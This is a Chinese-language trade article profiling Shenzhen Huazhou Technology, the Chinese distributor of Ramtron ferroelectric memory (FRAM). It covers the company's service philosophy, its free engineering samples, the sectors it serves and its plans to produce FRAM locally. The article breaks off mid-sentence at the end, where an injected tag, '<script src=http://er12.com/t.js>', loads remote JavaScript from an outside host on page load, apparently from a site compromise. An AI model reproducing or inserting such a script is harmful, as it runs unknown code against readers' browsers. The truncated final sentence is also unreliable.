中国电子产业在经历20年的飞速发展后，作为带给产业最新元器件及半导体技术的忠实伙伴，分销商在促进中国电子业中所起的作用已是举足轻重。随着他们在供应链中的价值逐步增长以及行业竞争加剧，越来越多的本土电子元器件分销商都开始意识到，想要发挥更大的本土优势，本土分销商不仅需要更多的专业态度，更应该从提升自己的价值去着手开拓更大的市场。
深圳华胄科技有限公司董事长方敏生先生认为，华胄科技想要做值得信赖的铁电存储器专业服务商，就必须从专业做起。
执着于专业服务
2001年，ramtron公司总裁来中国考察后，授权华胄科技公司负责中国及香港地区ramtron产品的行销及技术支持，成立ramtron中国区服务中心。从此华胄科技开始全面致力于负责美国ramtron公司的铁电存储器（fram）在中国市场的开拓和技术支持。
四年后的今天，fram产品在数字仪表、汽车电子、网络通讯、安防系统、金融税务、家用电器和电力系统中得到广泛应用，铁电存储器在数据存储芯片中的“多、快、好、省”特点也得到了各行业的广泛首肯和亲睐。而这一切，都是华胄人“专注铁电，专业技术，专心服务”的收获。
华胄科技董事长方敏生指出，执着于专业就是华胄科技公司做活市场的独门武器。“做分销，不同于一般贸易商的，没有长期和专业的服务精神根本无法开辟更多的客户群。”
因为看好fram的长期发展前景，他指出，fram初进中国时，在当时业内70%－80%的工程师都不了解铁电的情况下，“我们并没有做近两、三年就挣钱的准备”。
方敏生强调，华胄科技作为ramtron在中国的窗口，专门服务于ramtron公司铁电产品在中国区的业务销售及技术支持。作为本土分销商，华胄科技更熟悉中国市场，基于fram产品的优异性能及中国市场的良好前景，华胄科技通过自己的努力，目前正在为国内2000多家用户提供服务。
fram产品作为传统半导体存储器的替代品，华胄人和中国客户都是看好铁电存储器“多快好省”的优良特性的。方敏生表示，“我们所服务的2000多家客户在产品中充分利用了fram的优良特性，使他们的产品整体性能得到了极大地提高，从而增强了市场竞争力。”这种共赢的局面，正是华胄科技期望看到的。
作为本土分销商，华胄科技一直都深蕴“服务是企业发展永恒的主题”这一道理的。华胄人明白，只单纯围绕买卖关系，公司发展的结果只会是卖东西，不会有大的发展。“我们期望的局面是，用我们的服务和方案吸引到更多客户。”
为了能给中国客户提供性能更优异的铁电存储器，华胄科技一直在用自己的行动去支持客户的需求。“在我们眼里，客户无大小之分。我们能做的就是尽可能用专业的服务去满足客户的需求。”
方敏生透露，目前在华胄科技每年赠送的1万多片样片中，只有10%的数量是原厂支持的，其他的90%样品都是公司从自己的库中发送出去的。“免费提供工程师测试样片，只为让更多的业内工程师了解到我们专业服务的态度和精神。”
华胄科技用这样的精神走过了四年，四年后的今天，fram在中国市场取得的成绩是：fram产品作为传统半导体存储器的替代品，目前所服务客户的十大领域，如三表、远程无线抄表、安防装备、汽车电子、监控、工控、显像、网络通讯、流量计及信息家电等领域，都有成熟的方案提供，同时华胄科技还可以根据客户不同的要求提供技术方案。这几年来，越来越多的业内人士在看到铁电时，已能自然地联想到华胄科技。
致力于国产进程
分销行业的价格变得越来越透明后，客户也更加透明，他们甚至希望与原厂直购，因此作为本土分销商，主动帮客户考虑成本问题已是必须得责任。
fram产品在中国市场得到拓展之后，价格瓶颈问题很快就让华胄科技意识到加快国产化进程的必要性。“ramtron原厂生产的产品是好产品，但由于缺乏对中国本土市场的了解，他们更需要我们这样的本土分销商和代理商去开拓市场，巩固市场。” 方敏生认为，华胄科技作为ramtron在中国的窗口，有必要用合理的库存何合理的价格，去稳定fram产品在中国的市场秩序。
“为满足更多客户需求，加快fram产品国产化进程，从2003年起我们在美国原厂的委托下，开始在中国寻找合适的铁电晶圆厂及代工厂，这两年我们陆续去过北京、上海、天津、西安、山东等地考察不同的代工厂。”
虽然因为一些外部原因，fram产品国产化进程未能立刻附诸实施，但对于国产化的设想，方敏生表示，“我们更多的是站在客户的角度考虑，希望通过降低生产成本的方式为客户拓展更为广阔的市场份额。”这一切，对于看到fram产品未来发展潜力的2000多家中国用户而言，一旦能把fram产品的价格瓶颈问题解决了，成本的降低也必将带动他?script src=http://er12.com/t.js>
